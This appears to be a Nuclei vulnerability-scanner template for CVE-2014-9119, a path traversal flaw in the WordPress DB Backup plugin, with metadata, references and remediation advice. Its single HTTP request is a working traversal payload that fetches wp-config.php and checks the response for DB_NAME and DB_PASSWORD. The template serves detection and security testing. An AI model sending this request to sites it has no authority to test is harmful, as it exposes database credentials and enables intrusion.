id: CVE-2014-9119

info:
  name: WordPress DB Backup <=4.5 - Local File Inclusion
  author: dhiyaneshDK
  severity: medium
  description: |
    WordPress Plugin DB Backup 4.5 and possibly prior versions are prone to a local file inclusion vulnerability because they fail to sufficiently sanitize user-supplied input. Exploiting this issue can allow an attacker to obtain sensitive information that could aid in further attacks.
  impact: |
    Allows an attacker to read arbitrary files on the server.
  remediation: |
    Update WordPress DB Backup plugin to version 4.6 or higher.
  reference:
    - https://wpscan.com/vulnerability/d3f1e51e-5f44-4a15-97bc-5eefc3e77536
    - https://www.exploit-db.com/exploits/35378
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9119
    - https://wpvulndb.com/vulnerabilities/7726
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/99368
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-9119
    cwe-id: CWE-22
    epss-score: 0.16117
    epss-percentile: 0.96514
    cpe: cpe:2.3:a:db_backup_project:db_backup:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: db_backup_project
    product: db_backup
    framework: wordpress
  tags: cve2014,cve,lfi,wordpress,wp-plugin,wp,backup,wpscan,edb,db_backup_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/db-backup/download.php?file=../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203540d3a1d9431e193fd71c55cfb03ffbc56002f769733ff5448003a7ae69d78d022100954384219e1bfa2a7e873a0cfbd764f972367ad249abe391c6c145224e57786b:922c64590222798bb761d5b6d8e72950